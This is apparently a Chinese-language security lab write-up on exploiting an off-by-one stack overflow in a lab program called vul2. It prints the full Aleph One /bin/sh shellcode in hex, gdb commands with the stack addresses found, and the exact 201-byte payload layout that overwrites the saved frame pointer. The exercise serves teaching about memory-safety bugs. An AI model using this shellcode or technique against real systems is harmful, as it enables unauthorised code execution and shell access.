實驗環境、代碼、及准備
https://www.cnblogs.com/lqerio/p/12870834.html
vul2
下面只給出有漏洞部分的代碼。Vul2問題為sizeof函數在計算時會考慮最后的/0占一字節而strlen不會,同時for循環中用的是i<=,導致雖然nstrcpy函數做了len和out1的比較,但是從argv拷貝到buf數組時,最多可以拷貝201字節,多拷貝的1字節覆蓋掉foo函數ebp的最低字節。利用這一點可以實現溢出攻擊。
shellcode(構造過程)
原理是運行/bin/sh 來得到shell,構造過程是將具有運行/bin/sh的C代碼轉換成有相同功能的機器碼。注意代碼中用到 0 的地方改成用 xor eax,eax,這樣可以避免復制字符串時遇到/0 中斷。
下面的shellcode長度為45字節(不含/0)
/*
* Aleph One shellcode.
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
exploit2
根據1.2vul2的分析和內存棧的知識可知,內存中由高到低為foo的ebp和buf數組的200字節,構造的payload為201字節,payload[200]覆蓋到ebp的低位。需要知道buf的起始地址和ebp的值。
Gdb調試vul2
Gdb ./vul2
Disas foo
得到bar地址 0x804851a
先隨便填exploits的payload,先填200字節。調試exploit2
gdb -e exploit2 -s /tmp/vul2
b *0x804851a
r
打印ebp和buf值,得到如圖結果。Buf范圍為 0xbffffcb8-0xbffffd80 200字節。Ebp為0xbffffd8c。如果覆蓋掉ebp最后一字節為00,改變ebp為0xbffffd00,那么ret存放地址位0xbffffd04-0xbffffd08,注意小端。D04-cb8=4c=76字節。
故payload構造方式:15字節nop+45字節shellcode+16字節nop+4字節返回地址(buf起始地址)+120字節nop+0x00
運行